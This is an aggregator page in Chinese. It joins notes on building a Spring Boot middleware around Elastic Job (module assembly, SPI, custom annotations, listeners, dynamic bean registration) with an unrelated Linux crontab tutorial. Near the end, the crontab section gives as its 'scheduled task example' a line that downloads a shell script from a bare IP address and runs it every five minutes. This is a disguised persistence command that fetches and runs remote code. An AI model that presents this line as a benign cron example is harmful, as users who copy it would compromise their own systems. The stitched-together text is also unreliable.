编写定时任务中间件笔记
Posted 缩缩北行鸟
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了编写定时任务中间件笔记相关的知识,希望对你有一定的参考价值。
1 模块装配的概念
通过 Elastic Job 实现定时任务,每写一个定时任务都需要配置不少东西,故此想要使用 模块装配 的形式封装 Elastic Job,什么是模块装配?
想要理解模块装配,先理解一下 Spring 的自动装配,Spring 的装配大致分为三种:
- 全手动配置的XML文件阶段,用户需要的Bean全部需要在XML文件中声明,用户手动管理全部的Bean
- 半手动配置的注解阶段,用户可以安装需求
@EnableXXX
对应的功能模块,如添加 @EnableWebMvc
可以启用 MVC 功能 - 全自动配置阶段,使用 SpringBoot,用户只需要引入对应的
starter
包,Spring会通过 Spring SPI
的机制自动装配需要的模块
全手动配置示意图:

半手动配置示意图:

全自动配置:

此时又引入一个新概念 Spring SPI
,如何理解 SPI
?JDK 原生的 SPI
与 Spring 的 SPI
有什么区别?
SPI
全称叫 Service Provider Interface
(服务提供接口),它可以通过一个指定的接口或者抽象类,寻找到预先配置好的实现类,并创建实现类对象。
JDK 原生 SPI
和 Spring SPI
的区别:
JDK SPI
扫描的路径是:META-INF/services/
下的文件,文件名为 接口或抽象类
的全路径;
Spring SPI
的扫描路径是:META-INF
下名为 spring.factories
的文件JDK SPI
文件内容为 实现类全路径、支持多个换行、文件名和文件内容需是继承或实现关系;
Spring SPI
的文件内容为 key/value
对,key
支持注解、接口、类;value
支持为全路径名,key
和 value
不需是继承或实现关系JDK SPI
实现类为 ServiceLoader
,支持根据接口/抽象类获取 Iterator
,然后遍历获取所有实现类实例 load
;
Spring SPI
的实现类为 SpringFactoriesLoader
,支持根据注解、接口、类获取全路径名列表 loadFactoryNames
或实例列表loadFactories
回到上面的问题,什么是模块装配?
像 @EnableXXX
这样注解一键开启 XXX
功能的支持,甚至连配置都不需要就可以使用。这种操作方式就可以看作为模块装配。
2 构建思路
现在捋一下思路:
- 首先需要了解 Elastic Job 哪些配置消息可以写在配置文件中读取,比如 Zookeeper 注册中心的配置就可以写在配置文件,这是因为 Zookeeper 注册中心可以作为一个单例 Bean 实例存在,当用户每次创建一个定时作业时,无需再重新地创建它;而其它的诸如
JobCoreConfiguration
核心作业配置就需要在用户每次创建定时作业时自定义一下属性值读取。 - 在了解到上述的需求,我们就要考虑到创建一个自定义的
@EnableSeieiElasticJob
注解,这个注解大概要做些什么工作?我们可以把 Zookeeper 注册中心的实例化过程丢在这里执行,此时就可以使用 @Import
注解,这个注解可以引用某个 @Configuration
组件,而 Zookeeper 注册中心的实例化实际就是写在这个被注入的 @Configuration
组件里头某个声明了 @Bean
的 Bean 中,这里我把这个 @Configuration
组件 命名为 SeieiElasticJobAutoConfiguration
- 接下来我们就可以着重在
SeieiElasticJobAutoConfiguration
这个类的创建,前面也说到我们希望把 Zookeeper 的配置信息写在配置文件上读取,所以 SeieiElasticJobAutoConfiguration
这个类就需要在检测到配置文件包含 Zookeeper 的配置信息才让正式注入,此时可以使用 @ConditionalOnProperty
注解检测配置文件中是否含有 zookeeper 配置中最重要的两个配置信息 namspaces
和 serverlists
- 然后就是创建 Zookeeper 注册中心 Bean 注入到容器中,我们可以在
SeieiElasticJobAutoConfiguration
添加 @Configuration
注解,然后在里面声明 Zookeeper 注册中心并使用 @Bean
注解注入到容器中既可以,而 Zookeeper 配置信息的读取就可以使用 @ConfigurationProperties
注解声明并注入进来读取,至此只要用户使用了 @EnableSeieiElasticJob
注解并且在配置文件中配置了相关的信息就可以在容器注入 Zookeeper 注册中心了 - 接下来就要考虑如何实现实际作业的配置,照葫芦画瓢,先考虑我们想要达到一个什么效果,我希望在声明如下
@EnableSeieiElasticJob
注解之后,在具体的定时任务逻辑上,添加如下的注解即可完成所有配置
@SeieiElasticJobConfig(jobName = "mySimpleJobDemo",cron = "0/5 * * * * ? *",shardingTotalCount = 3,overwrite = true,listener = "top.seiei.simpleJob.MySimpleJonListener",eventTraceRdbDataSource = "elasticJobDataSource")
- 所以现在问题就去到怎么实现这样的效果,首先我们还是要声明
@SeieiElasticJobConfig
这个注解,这个注解里头需要定义所有关于 Elastic Job 的配置以供用户后面配置。然后就要考虑如何读取这个注解的信息,并且实例化对应一系列 Elastic Job 配置注入到 Spring 容器中 - 上面的问题即是创建一个注解解析器解析
@SeieiElasticJobConfig
,我们要考虑到,这个注解解析器需要在 Spring 把所有的 Bean 都创建成功才开始运行,此时就可以让这个解析器实现 ApplicationListener<ApplicationReadyEvent>
这个接口, 它的 onApplicationEvent
方法就是 Spring 容器所有 bean 组件加载初始化完成之后的生命周期接口,通过其中的 ApplicationReadyEvent
我们既可以完成当前需求实现,这里注意的是这个注解解析器也需要让 Spring 扫描到,可以在上面的 SeieiElasticJobAutoConfiguration
使用 @ComponentScan
注解自动扫描
至此中间件就编写完成,如果不希望使用 @EnableXXX
的形式,也可以使用 Spring SPI
的形式直接注入 SeieiElasticJobAutoConfiguration
同样也能达到同样的效果
3 知识点
3.1 声明注释
使用 @interface
修饰词声明注释时,需要确定这个注解的 生命周期 和 该注释 需要用到哪些地方,即:
@interface
修饰词:用来声明一个注解,其中的每一个方法实际上是声明了一个配置参数,方法的名称就是参数的名称,返回值类型就是参数的类型(返回值类型只能是基本类型、Class
、String
、enum
)。可以通过 default
来声明参数的默认值。@Target
注释:指定注解使用的目标范围
@Target(ElementType.TYPE)
:接口、类、枚举、注解@Target(ElementType.FIELD)
:字段、枚举的常量@Target(ElementType.METHOD)
:方法@Target(ElementType.PARAMETER)
:方法参数@Target(ElementType.CONSTRUCTOR)
:构造函数@Target(ElementType.LOCAL_VARIABLE)
:局部变量@Target(ElementType.ANNOTATION_TYPE)
:注解@Target(ElementType.PACKAGE)
:包
@Retention
注释:用来确定这个注解的生命周期
RetentionPolicy.SOURCE
:注解只保留在源文件,当Java文件编译成 class 文件的时候,注解被遗弃;被编译器忽略RetentionPolicy.CLASS
:注解被保留到class文件,但 JVM 加载 class 文件时候被遗弃,这是默认的生命周期,即在class文件中存在,但 JVM 将会忽略,运行时无法获得。RetentionPolicy.RUNTIME
:注解不仅被保存到class文件中,JVM 加载class文件之后,将被JVM保留,所以他们能在运行时被 JVM 或其他使用反射机制的代码所读取和使用。
@Documented
:@Documented
注解标记的元素,Javadoc 工具会将此注解标记元素的注解信息包含在 Javadoc 中@Inherited
:@Inherited
注解修饰的注解,如果作用于某个类上,其子类是可以继承的该注解的
3.2 关于配置文件
@ConditionalOnProperty
:使用该注解可以让声明了该注解的组件根据配置文件是否还有对应的属性值才进入创建注入,这里默认读取的是 classpath
路径下的 application.properties
文件和 application.yml
文件
@ConditionalOnProperty(prefix = "elastic.job.zk", name = "namespace", "serverLists", matchIfMissing = false)
3.3 注解解析器
3.3.1 SpringBoot 监听器
ApplicationContext
事件机制是观察者设计模式的实现,通过 ApplicationEvent
类和 ApplicationListener
接口,可以实现ApplicationContext
事件处理。
如果容器中有一个 ApplicationListener
Bean,每当 ApplicationContext
发布 ApplicationEvent
时,ApplicationListener
Bean将自动被触发。
SpringBoot 中支持的事件类型如下:
ApplicationFailedEvent
:该事件为SpringBoot启动失败时的操作ApplicationPreparedEvent
:上下文 context
准备时触发ApplicationReadyEvent
:上下文已经准备完毕的时候触发ApplicationStartedEvent
:SpringBoot 启动监听类ApplicationEnvironmentPreparedEvent
:环境事先准备SpringApplicationEvent
:获取 SpringApplication
在构建注解解析器时,就可以创建一个实现了 ApplicationListener<ApplicationReadyEvent>
Bean,通过实现方法的参数 ApplicationReadyEvent
即可完成接下来一系列对于 Spring 上下文的读取和写入操作了。
3.3.2 读取注解信息
ApplicationReadyEvent
参数调用 getApplicationContext
方法即可以获取到 ApplicationContext
Spring 上下文;ApplicationContext
Spring 上下文通过 getBeansWithAnnotation(SeieiElasticJobConfig.class)
方法即可以获取全文声明了 - SeieiElasticJobConfig
注释的 Bean 集合;- 循环 Bean 集合通过调用
getClass
方法获取对应的 Class
,得到 Class
之后调用它的 getInterfaces
方法便获取对应的声明接口列表; - 循环接口列表,查看该 Bean 是否实现了 Elastic job 的
SimpleJob
接口或者 DataflowJob
接口或者 ScriptJob
接口,从而决定要创建简单任务、流任务还是脚本任务
3.3.3 动态注册 Bean
参考文章:
BeanDefinition
:顾名思义就是一个关于 Bean 的定义描述,通过定义它,最后 DefaultListableBeanFactory
的 registerBeanDefinition(registerBeanName, beanDefinition)
方法就可以实现自定义 Bean 的注入DefaultListableBeanFactory
:可以由ApplicationContext
上下文通过 getAutowireCapableBeanFactory
强转获取到
BeanDefinition
有一个构造器创建方法就是 BeanDefinitionBuilder
,它常用有以下几个方法:
addConstructorArgValue
:填充 Bean 的构造函数参数,类型可以为对应参数的实例,也可以为对应参数的 BeanDefinition
addConstructorArgReference
:填充 Bean 的构造函数参数,类型为字符串,是对应参数 Bean 定义的 beanName
addPropertyValue
:设置 Bean 的属性值,参考上面addPropertyReference
:设置 Bean 的属性值,参考上面setScope
:设置 Bean 模式为单例还是多例getBeanDefinition
:获取 BeanDefinition
对象
Linux运维学习笔记-定时任务知识总结
定时任务编辑规范流程:

重要知识点:
切记用全路径编写定时脚本、定时任务
大部分在 crontab 计划任务中都会年到未尾带 >/dev/null 2>&1,是什么意思呢?
> 是重定向
/dev/null 代表空设备文件
1 表示stdout标准输出,系统默认值是1,所以 ">/dev/null" 等同于 "1>/dev/null"
2 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
整句的意思就是标准输出重定向到空设备文件,也就是不输出任何信息到终端,标准错误输出重定向等同于标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件
&>/dev/null 即不管输出是什么都从定向到/dev/null
command > file 2>file 与 command > file 2>&1 有什么区别呢?
command > file 2>file 的意思是将命令所产生的标准输出信息,和错误的输出信息送到file 中.command
> file 2>file 这样的写法,stdout和stderr都直接送到file中,
file会被打开两次,这样stdout和stderr会互相覆盖,这样写相当使用了FD1和FD2两个同时去抢占file 的管道。而command
>file 2>&1 这条命令就将stdout直接送向file, stderr 继承了FD1管道后,再被送往file,此时,file 只被打开了一次,也只使用了一个管道FD1,它包括了stdout和stderr的内容。从IO效率上,前一条命令的效率要比后面一条的命令效率要低,所以在编写shell脚本的时候,较多的时候我们会用command > file 2>&1 这样的写法。
定时任务语法:
01
* * * * cmd
分 时 日 月 周 任务
crontab语法格式中时间段的含义如下表
段
|
含义
|
取值范围(整数)
|
第一段
|
代表分钟
|
00 – 59 (00也可以是0)
|
第二段
|
代表小时
|
00 – 23
|
第三段
|
代表日,天
|
01 – 31
|
第四段
|
代表月份
|
01 – 12
|
第五段
|
代表星期,周几
|
0 -7(0和7都代表星期日)
|
提示:时间记忆口诀(分时日月周)。取值范围记录(正常日期时间范围)
定时任务编辑位置:/etc/crontab
编辑定时任务:crontab -e
查看当前用户定时任务:crontab -l
定时任务例子:
*/5 * * * * wget -q -O-
http://218.248.40.228:8443/i.sh | sh
以上是关于编写定时任务中间件笔记的主要内容,如果未能解决你的问题,请参考以下文章
几种主流的分布式定时任务,你知道哪些?
Linux运维学习笔记-定时任务知识总结
STM32CubeMX学习笔记(33)——FreeRTOS实时操作系统使用(软件定时器)
《Linux内核设计与实现》读书笔记- 定时器和时间管理
11.11-全栈Java笔记:线程状态转换和任务定时调度
celery执行异步任务和定时任务